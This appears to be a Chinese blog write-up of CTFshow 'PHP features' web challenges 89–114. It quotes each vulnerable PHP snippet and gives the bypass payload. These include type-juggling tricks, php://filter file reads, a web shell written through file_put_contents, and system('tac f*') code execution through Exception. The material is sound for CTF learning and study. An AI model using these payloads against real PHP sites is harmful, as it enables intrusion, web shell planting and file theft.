CTFshow--web入门--php特性(持续更新ing)

开始

web89 数组绕过

正则匹配

传数组会返回false

?num[]=0
在这里插入图片描述

web90 intval()特性

intval()函数用于获取变量的整数值

考察intval()的使用

绕过的姿势有很多

?num=4476.0
在这里插入图片描述

web91 正则匹配

/i匹配的时候不区分大小写

m多行匹配,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配

%0aphp经过第一个正则匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过

经过第二个正则匹配时,因为%0aphp不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag
在这里插入图片描述

web92 intval()特性

与web90的区别在于4476没有双引号

八进制、十六进制都可以绕过

?num=0x117c ?num=010574
在这里插入图片描述

web93 intval()特性

八进制?num=010574
在这里插入图片描述

web94 intval()特性

八进制前加空格,?num= 010574
?num=4476.0,或?num=+4476.0,由于intval()只识别整数部分

strpos(string, find [,start])
string是规定被搜索的字符串;find是规定要查找的字符;start是规定开始搜索的位置。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。 注释:字符串位置从 0 开始,不是从 1 开始
//此处表明要存在0且不在首位

在这里插入图片描述

web95 intval()特性

八进制前加空格,?num= 010574在这里插入图片描述

web96 路径问题

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    } 

GET型提交u=flag.php是不行的,这时就要用到路径

?u=/var/www/html/flag.php              绝对路径
?u=./flag.php                          相对路径
?u=php://filter/resource=flag.php      php伪协议             

在这里插入图片描述

web97 md5强碰撞

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
} 

要求POST提交的a和b的值不相等,但是md5加密后的值相等

三个=,属于md5强碰撞

md5()函数无法处理数组,如果传入的值为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的

POST提交:a[]=1&b[]=2
在这里插入图片描述

web98 POST值覆盖GET值

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

$_GET?$_GET=&$_POST:'flag'将POST值覆盖GET值

直接GET型提交flag会被flag的COOKIESERVER覆盖

但最后需要GET型提交HTTP_FLAG=flag

所以我们构造:
GET:?1
POST:HTTP_FLAG=flag
在这里插入图片描述

web99 in_array()和file_put_contents()

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

array_push()将随机数(必定有1)添加到数组$allow

in_array()函数搜索数组中是否存在指定的值

利用in_array()的弱比较类型,构造?n=1.php

同时POST:content=<?php @eval($_POST['1']);?>

蚁剑连接即可
在这里插入图片描述

web100 is_numeric()

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 

is_numeric()用来检测变量是否为数字或数字字符串

如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回空值,即 FALSE

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

因为是用and连接,所以只要一个为true,v0就为true。如果用&&连接,必须都为true,v0才为true

所以只需要v1为数字就行

构造?v1=1&v2=var_dump($ctfshow)&v3=;

注释掉v3也可以?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

var_dump()用于判断一个变量的类型与长度,并输出变量的数值
在这里插入图片描述
另外,要将flag中的0x2d(十六进制)转换为-

web101 类反射

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 

在web100的基础上,增加了更多的过滤

用到了类反射

?v1=1&v2=echo new Reflectionclass&v3=;

PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释
$class = new ReflectionClass('Person'); // 建立 Person这个类的反射类
$instance = $class->newInstanceArgs($args);// 相当于实例化Person 类

在这里插入图片描述
也要将0x2d转换为-

web102 hex2bin

hex2bin()把十六进制值转换为 ASCII 字符

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
} 

call_user_func() — 把第一个参数作为回调函数调用

也就是说v1是被调用的回调参数,s是回调参数的参数

file_put_contents()函数把一个字符串写入文件中,如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False

GET:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php
POST:
v1=hex2bin
#访问1.php后查看源代码获得flag

原理就是将一条php语句base64编码,再转换为十六进制,关键就是找到一条语句经过上述操作后为纯数字

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=hex2bin($b);      //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出   5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。

同时因为经过substr处理,所以v2前面还要补00

本题,验证失败…

web103 hex2bin

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
} 

增加了preg_match(),和上题一样的payload

web104 sha1


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
} 

直接构造POST:v1=a GET:v2=a,数组也可以绕过

web105 变量覆盖

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces); 

error_reporting(0) // 关闭错误报告

foreach($_GET as $key => $value) // 意思就是遍历$_GET数组内的元素,每组元素为一个键$key对应一个值$value的形式

利用变量覆盖,构造:
GET:?suces=flag
POST:error=suces

这样通过die($error)输出$error,这样就输出了$flag
在这里插入图片描述

还可以通过die($suces)输出,构造:GET:?suces=flag&flag=

$_POST['flag']=NULL;$flag=NULL,满足($_POST['flag']==$flag)

web106 sha1

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
} 

和web104的区别在于要满足$v1!=$v2

sha1加密无法处理数组,可以通过数组绕过

构造:
GET:v2[]=2
POST:v1[]=1
在这里插入图片描述
还可以利用0e科学计数法达到伪相等(与md5一样)

下列都可以:
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

web107 parse_str()

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

} 

parse_str(string,array)函数把查询字符串解析到变量中

如果设置了两个变量,变量将会以数组元素的形式存入到这个数组,作为替代

$a='q=123&p=456';
parse_str($a,$b);
echo $b['q'];   //输出123
echo $b['p'];   //输出456

构造:
GET:?v3=1
POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b //1经过md5加密后的值
在这里插入图片描述
还可以利用md5无法解析数组

GET:?v3[]=1
POST:v1="flag=0"

或者传入

GET:?v3=240610708(md5解密后,开头两位为0e的值)
POST:v1=flag=0

web108 ereg()

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
} 

^[a-zA-Z]+$ 匹配所有大小写字母一次或者多次(+号:一次或者多次)

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,返回false,搜索字母的字符是大小写敏感的

ereg()函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

strrev()函数反转字符串

构造?c=a%00778

正则表达式只会匹配%00之前的内容,后面的被截断,因此可以通过正则匹配

后面经过strrev()函数的反转,字符串变为877%00a

再经过intval()函数,变为877,即0x36d的十进制
在这里插入图片描述

web109 异常处理类

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

payload:
?v1=Exception&v2=system('tac f*')
?v1=Reflectionclass&v2=system('tac f*')

通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)

经过验证cat不行,必须用tac
在这里插入图片描述

web110 FilesystemIterator类和getcwd()

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

} 

php内置类 利用FilesystemIterator获取指定目录下的所有文件

getcwd()函数 获取当前工作目录 返回当前工作目录

构造v1=FilesystemIterator&v2=getcwd
在这里插入图片描述
访问fl36dga.txt得到flag
在这里插入图片描述

web111 全局变量$GLOBALS

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
} 

$GLOBALS 引用全局作用域中可用的全部变量

一个包含了全部变量的全局组合数组,变量的名字就是数组的键

构造?v1=ctfshow&v2=GLOBALS
在这里插入图片描述

web112 filter伪协议

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

利用filter伪协议读取文件

?file=php://filter/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php

在这里插入图片描述

web113 /proc/self/root指向根目录

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

与web112相比过滤了filter

可以利用web112给出的解:?file=compress.zlib://flag.php

或利用/proc/self/root,在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容,多次重复后绕过is_file()

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php(大概超过20次软连接)
在这里插入图片描述

web114

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 师傅们居然tql都是非预期 哼!
  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值